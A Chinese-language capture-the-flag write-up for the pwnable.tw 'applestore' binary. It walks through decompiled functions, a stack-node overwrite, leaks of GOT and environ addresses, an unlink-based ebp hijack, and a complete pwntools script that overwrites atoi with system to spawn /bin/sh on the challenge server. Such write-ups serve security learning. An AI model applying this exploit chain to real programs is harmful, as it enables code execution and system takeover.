主要参考了这篇文章: pwnable.tw - applestore 。
main 函数设置了信号,到时之后程序自动退出,可以把 call _alarm
patch 掉。
关键函数
程序没有去符号,分析起来还是比较容易的。
handler 函数:
unsigned int handler()
{
char nptr[22]; // [esp+16h] [ebp-22h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(nptr, 0x15u);
switch ( atoi(nptr) )
{
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
default:
puts("It's not a choice! Idiot.");
break;
}
}
}
根据用户输入调用相应的功能。
cart 函数:
打印购物车。
int cart()
{
int idx; // eax
int num; // [esp+18h] [ebp-30h]
int total; // [esp+1Ch] [ebp-2Ch]
devicebought *i; // [esp+20h] [ebp-28h]
char buf[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
num = 1;
total = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf, 0x15u);
if ( buf[0] == 'y' )
{
puts("==== Cart ====");
for ( i = (devicebought *)firstdevice; i; i = (devicebought *)i->next )
{
idx = num++;
printf("%d: %s - $%d\n", idx, i->devicename, i->deviceprice);
total += i->deviceprice;
}
}
return total;
}
其中 devicebought 结构:
struct devicebought{
char *devicename;
int deviceprice;
unsigned int next;
unsigned int pre;
};
双向链表结构维护购物车。
checkout 函数:
unsigned int checkout()
{
int total; // [esp+10h] [ebp-28h]
devicebought iphone8; // [esp+18h] [ebp-20h] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
total = cart();
if ( total == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&iphone8.devicename, "%s", "iPhone 8");
iphone8.deviceprice = 1;
insert(&iphone8);
total = 7175;
}
printf("Total: $%d\n", total);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}
先打印购物车,然后如果钱到达 7174 ,购物车里再加一台 iPhone 8
。 但是 iPhone 8 是分配在栈上的,为后面的利用创造了条件。
用下面这个网站解丢番图方程 a199+b399=7174
,得到需要加入购物车的 a,b 。
delete 函数:
unsigned int delete()
{
int num; // [esp+10h] [ebp-38h]
devicebought *thisdevice; // [esp+14h] [ebp-34h]
int itemnumber; // [esp+18h] [ebp-30h]
devicebought *next; // [esp+1Ch] [ebp-2Ch]
devicebought *pre; // [esp+20h] [ebp-28h]
char nptr[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
num = 1;
thisdevice = (devicebought *)firstdevice;
printf("Item Number> ");
fflush(stdout);
my_read(nptr, 21u);
itemnumber = atoi(nptr);
while ( thisdevice )
{
if ( num == itemnumber )
{
next = (devicebought *)thisdevice->next;
pre = (devicebought *)thisdevice->pre;
if ( pre )
pre->next = (unsigned int)next;
if ( next )
next->pre = (unsigned int)pre;
printf("Remove %d:%s from your shopping cart.\n", num, thisdevice->devicename);
return __readgsdword(0x14u) ^ v7;
}
++num;
thisdevice = (devicebought *)thisdevice->next;
}
return __readgsdword(0x14u) ^ v7;
}
将节点从链表中取出来。
Exploitation
写 iphone8 节点内容
可以参考这篇文章上的图 pwnable.tw - applestore 。
handler 函数调用 checkout 函数, iPhone8 所在的位置为 ebp-0x20
。 handler 函数调用 cart 函数 buf 的位置为 ebp-0x22
。
int cart()
{
int idx; // eax
int num; // [esp+18h] [ebp-30h]
int total; // [esp+1Ch] [ebp-2Ch]
devicebought *i; // [esp+20h] [ebp-28h]
char buf[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
num = 1;
total = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf, 0x15u);
....
也就是说, cart 函数中在 buf 中输入两个字符后,就可以直接修改链表中 iphone8 节点的内容。 delete 函数中的 buf 也是一样的。
任意地址读
我们已经可以任意写 iphone8 节点中的内容了。 在 iphone8 结构中的 devicename 项中写地址,就可以用 cart 函数打印出来地址内容。
int cart()
{
......
if ( buf[0] == 'y' )
{
puts("==== Cart ====");
for ( i = (devicebought *)firstdevice; i; i = (devicebought *)i->next )
{
idx = num++;
printf("%d: %s - $%d\n", idx, i->devicename, i->deviceprice);
total += i->deviceprice;
}
}
return total;
}
可以泄露 GOT 表中函数的地址,拿到 libc 的基地址。
libc 中有 envirion** 符号,指向envirion* 环境变量字符数组。
$ readelf -s ./libc_32.so.6 | grep environ
305: 001b1dbc 4 OBJECT WEAK DEFAULT 33 _environ@@GLIBC_2.0
1039: 001b1dbc 4 OBJECT WEAK DEFAULT 33 environ@@GLIBC_2.0
1398: 001b1dbc 4 OBJECT GLOBAL DEFAULT 33 __environ@@GLIBC_2.0
可以让 cart 打印 envirion**
的内容,得到在栈上环境变量的地址。
有条件的地址写
我们可以利用 delete 函数 中的节点删除。 iphone8 节点中的内容可控。
if ( num == itemnumber )
{
next = (devicebought *)thisdevice->next;
pre = (devicebought *)thisdevice->pre;
if ( pre )
pre->next = (unsigned int)next;
if ( next )
next->pre = (unsigned int)pre;
printf("Remove %d:%s from your shopping cart.\n", num, thisdevice->devicename);
return __readgsdword(0x14u) ^ v7;
}
但是地址写有个条件, 需要 next->pre
(即next+0xc
) 和 pre->next
(即pre+0x8
) 这两个地址需要同时可写。
如果我们直接把 GOT 表中的 atoi 项改成 system 函数的地址, 因为 system 函数地址->pre
是不可写的段,这样程序会崩。所以不能这么直接改 GOT 表,得换种方式写。
劫持 handler 的 ebp
因为我们拿到环境变量所在的栈地址了,减去偏移可以知道 delete 的 ebp 所指向的位置。旧 ebp 的内容(即 handler 的 ebp )是可写的。
如果我们把 handler ebp 改在 GOT 中 atoi 函数地址附近,使得输入的 buf 指向 GOT 表中 atoi 函数所在的项。因为在 handler 函数中 my_read(nptr, 0x15u);
是通过 ebp 偏移寻址的。
.text:08048BFD 03C mov dword ptr [esp+4], 15h ; nbytes
.text:08048C05 03C lea eax, [ebp-22h]
.text:08048C08 03C mov [esp], eax ; buf
.text:08048C0B 03C call my_read
.text:08048C0B
.text:08048C10 03C lea eax, [ebp-22h]
.text:08048C13 03C mov [esp], eax ; nptr
.text:08048C16 03C call _atoi
两个地址附近都可写。
所以我们让 ebp-22h(即输入缓冲区)指向 GOT 表中 atoi 函数,将 GOT 表中 atoi 函数的项直接输入覆盖为 system
函数地址与参数,就达到我们的目的了。
Full script
#!/usr/bin/env python3
from struct import pack
from pwn import *
HOST='chall.pwnable.tw'
PORT=10104
PROC="./applestore"
# context.log_level = 'DEBUG'
io=None
elf=ELF("./applestore")
lib = ELF("./libc_32.so.6")
if len(sys.argv) == 1 :
io=process("./applestore")
else:
log.info("remote start")
# 设置代理
context.proxy=(socks.SOCKS5,'localhost',7890)
io=remote(HOST,PORT)
def PauseLocalDebug():
info("process pid: "+str(io.pid))
pause()
def list():
io.sendafter("> ","1")
def add(number):
io.sendafter("> ","2")
io.sendafter("> ",number)
def delete(number):
io.sendafter("> ","3")
io.sendafter("> ",number)
def cart(confirmation):
io.sendafter("> ","4")
io.sendafter("> ",confirmation)
def checkout(confirmation):
io.sendafter("> ","5")
io.sendafter("> ",confirmation)
def getIphone8():
# $199
a=16
# $399
b=10
for i in range(a):
add("1")
for i in range(b):
add("4")
checkout('y\n')
getIphone8()
def create_device(name,price=0,fd=0,bk=0):
return pack(name)+pack(price)+pack(fd)+pack(bk)
cart(b'yy'+create_device(elf.got['atoi']))
io.recvuntil("27: ")
atoiaddress=unpack(io.recvn(4))
lib.address=atoiaddress-lib.symbols['atoi']
info("atoi address: "+ hex(atoiaddress))
info("lib base address: "+ hex(lib.address))
info("environ ** address: "+hex(lib.symbols['environ']))
cart(b'yy'+create_device(lib.symbols['environ']))
io.recvuntil("27: ")
environstack=unpack(io.recvn(4))
info("environ stack address: "+hex(environstack))
# PauseLocalDebug()
# 得到 DeleteEbp 的位置。
DeleteEbp=environstack-260
# 劫持 delete 旧 ebp 到 GOT 表,使得 delete 函数 leave 后 handle 中的输入( handle中输入偏移 ebp-0x22 )恰好指向 GOT 表中 atoi 表项
delete(b'27'+create_device(0,0,elf.got['atoi']+0x22,DeleteEbp-0x8))
# input 中覆盖 GOT 中 atoi 函数表项
io.sendafter("> ",pack(lib.symbols['system'])+b";/bin/sh;")
io.interactive()